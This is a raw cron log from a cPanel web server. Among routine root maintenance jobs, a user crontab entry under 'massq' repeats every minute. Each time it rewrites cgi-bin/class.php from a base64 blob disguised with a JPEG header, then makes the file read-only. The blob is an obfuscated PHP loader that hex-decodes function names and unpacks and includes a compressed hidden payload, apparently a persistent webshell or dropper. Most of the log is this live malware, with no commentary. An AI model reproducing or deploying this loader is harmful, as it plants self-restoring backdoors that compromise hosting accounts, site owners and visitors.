Sep 11 20:56:01 server CROND[29406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:56:01 server CROND[29407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:56:01 server CROND[29408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:57:01 server CROND[29904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:57:01 server CROND[29907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:57:01 server CROND[29906]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:57:01 server CROND[29905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:58:02 server CROND[30288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:58:02 server CROND[30289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:58:02 server CROND[30290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:59:01 server CROND[30680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:59:01 server CROND[30681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:59:01 server CROND[30682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:00:01 server CROND[31088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:00:01 server CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:00:01 server CROND[31091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:00:01 server CROND[31092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:00:01 server CROND[31095]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:00:01 server CROND[31098]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 21:00:01 server CROND[31096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:00:01 server CROND[31099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:00:01 server CROND[31097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:01:01 server CROND[31944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:01:01 server CROND[31945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:01:01 server CROND[31947]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 21:01:01 server CROND[31946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:01:01 server run-parts(/etc/cron.hourly)[31947]: starting 0anacron
Sep 11 21:01:01 server run-parts(/etc/cron.hourly)[31967]: finished 0anacron
Sep 11 21:02:01 server CROND[32433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:02:01 server CROND[32434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:02:01 server CROND[32435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:03:01 server CROND[422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:03:01 server CROND[423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:03:01 server CROND[424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:04:01 server CROND[852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:04:01 server CROND[853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:04:01 server CROND[854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:05:01 server CROND[1346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:05:01 server CROND[1360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:05:01 server CROND[1366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:05:01 server CROND[1369]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:05:01 server CROND[1370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:05:01 server CROND[1368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:05:01 server CROND[1375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:05:01 server CROND[1372]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:06:01 server CROND[2239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:06:01 server CROND[2240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:06:01 server CROND[2241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:07:02 server CROND[2746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:07:02 server CROND[2748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:07:02 server CROND[2750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:08:01 server CROND[3085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
